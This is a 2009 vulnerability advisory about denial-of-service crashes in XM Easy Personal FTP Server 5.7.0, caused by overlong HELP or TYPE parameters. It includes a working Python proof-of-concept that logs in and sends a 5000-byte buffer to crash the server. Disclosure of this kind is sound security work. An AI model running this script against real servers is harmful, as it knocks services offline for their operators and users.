[Security] XM Easy Personal FTP Server Multiple DoS vulnerabilities
XM Easy Personal FTP Server Multiple DoS vulnerabilities
Credits:
NeerajT of Nevis Labs
http://www.nevisnetworks.com/services.php?id=10
Date of Discovery: 14-May-2009
Vendor: Dxmsoft
URL: http://www.dxm2008.com/
Affected:
XM Easy Personal FTP Server 5.7.0
Earlier versions may also be affected
Overview:
XM Easy Personal FTP Server is a easy use FTP server Application. Multiple
Denial of service vulnerability exists in XM Personal FTP Server that causes
the application to crash when a long list of arguments is sent to certain FTP
commands post authentication.
Details:
The DoS vulnerability exists because the application fails to handle large
parameter values sent to certain FTP commands like HELP or TYPE. When a long
value ( > 4700 Bytes) is passed as a parameter to these commands, the FTP
server cannot process it and it will crash. Note that this is a post
authentication vulnerability, so user must be logged in to exploit the
vulnerability. No registers are overwritten, hence remote code execution may
not be possible.
Severity:
High
Solution:
No patches available from vendor
No workaround is available at this time
Vendor Communication Timelines:
05.14.2009 - Vulnerability Discovered
05.15.2009 - Vendor Notified
05.20.2009 - No Response, Vendor Notified again
06.05.2009 - No Ack from Vendor, Public Disclosure
PoC: Python Exploit
-----------------------------------------------------
#!/usr/bin/python
#
# ::::::::::::::::::::::::::::::[neeraj(.)thakar(at)nevisnetworks(.)com]
#
# [-] What:....[ XM Easy Personal FTP Server 5.7.0 ].....
# [-] Where:...[ http://www.dxm2008.com ]................
# [-] When:....[ 14-May-2009 ]...........................
# [-] Who:.....[ NeerajT | neeraj(.)thakar(at)nevisnetworks(.)com ]....
# [-] How:.....[
# A Denial of service vulnerability exists in XM
# Personal FTP Server that causes the application to
# crash when a long list of arguments is sent to
# certain FTP commands post authentication..........]
# [-] Thankz:..[ Jambalaya, Xin and Chintan ]............
import os
import sys
import time
from ftplib import FTP
def usage():
print "[...XM Personal FTP Server 5.7.0 DoS Exploit...]"
print "[.........neeraj(.)thakar(at)gmail(.)com..............]\n"
print "Usage: ./XMPersonal_FTPServer_DoSPoC.py <server-ip> <username>
<password>\n"
print "\n Use it at your own risk ! This is just a PoC. I am not
responsible for damages done by your crazy thinking.. :P\n"
# The Main function starts here..
if __name__ == "__main__":
ftpport = '21'
# get the args..
if len(sys.argv) < 3:
usage()
sys.exit(1)
ftpserver = sys.argv[1]
user = sys.argv[2]
passwd = sys.argv[3]
print "Connecting to "+ftpserver+" using "+user+"....",
# Try opening a connection to the FTP server
try:
F = FTP(ftpserver)
F.timeout = 3
if F:
print 'Connected !'
except:
print "\nCould not connect to the Server :(\n"
sys.exit(1)
#Lets create the Buffer..
crap = "A" * 5000
# Creat'in da'bomb
dabomb = 'HELP '+crap
print "Press any key to login.."
ch = sys.stdin.read(1)
# Lets login
try:
F.login(user, passwd)
except:
print "Oops.. Looks like you forgot to create a login !!\n"
F.quit()
sys.exit(1)
print "Target Locked, Press any key to fire..",
ch = sys.stdin.read(1)
print 'Sendin Da\'Bomb..'
try:
F.sendcmd(dabomb)
except:
print 'Target destroyed !! Mission successfull..!'
print 'Returning to base..'
F.close()
sys.exit(0)
-----------------------------------------------------